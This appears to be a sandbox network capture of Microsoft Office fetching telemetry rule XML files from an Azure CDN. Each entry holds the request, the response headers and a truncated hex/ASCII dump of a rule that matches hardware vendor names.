2024-12-07 21:40:27 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:27 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: f6d2a488-401e-000a-7403-484a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214027Z-r1cf579d778t6txphC1EWRsd4400000003w0000000008v5d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:27 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:27 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: c060231a-801e-00ac-2403-48fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214027Z-r1cf579d778qlpkrhC1EWRpfc800000004500000000052v1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:27 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:27 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 7b99b195-101e-0017-7009-4847c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214027Z-r1cf579d7784wpmvhC1EWRk4cn00000002xg000000005319 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:27 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:27 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:27 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 987987f9-101e-0034-0e02-4896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214027Z-r1cf579d778lntp7hC1EWR9gg400000002z000000000388q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:27 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:29 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:29 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 90a12f2a-001e-0079-1603-4812e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214029Z-r1cf579d778dc6d7hC1EWR2vs8000000047g000000001x58 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:30 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:29 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:29 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 09188c3a-a01e-0021-2702-48814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214029Z-r1cf579d778d5zkmhC1EWRk6h800000003ug00000000a66x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:30 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:29 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:29 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 90f2e2a0-001e-0014-5807-485151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214029Z-r1cf579d778d5zkmhC1EWRk6h800000003ug00000000a66y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:30 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:29 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 75599bc5-d01e-008e-7c03-48387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214029Z-r1cf579d77867vg8hC1EWR8knc000000039g000000005vkd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:30 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:34 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: e9e1dff1-101e-0065-7303-484088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214033Z-r1cf579d778g2t6ghC1EWRfggs0000000300000000001nmu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:34 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:31 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:32 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 1e88822f-901e-0029-0201-48274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214032Z-r1cf579d7784wpmvhC1EWRk4cn00000002v0000000008a52 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:32 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:31 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:32 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 48f2d82f-b01e-0084-1302-48d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214032Z-r1cf579d778d5zkmhC1EWRk6h800000003wg0000000072cn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:32 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:31 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:32 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 22946cbe-b01e-0021-6403-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214032Z-r1cf579d7786c2tshC1EWRr1gc000000030g000000008k5y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" 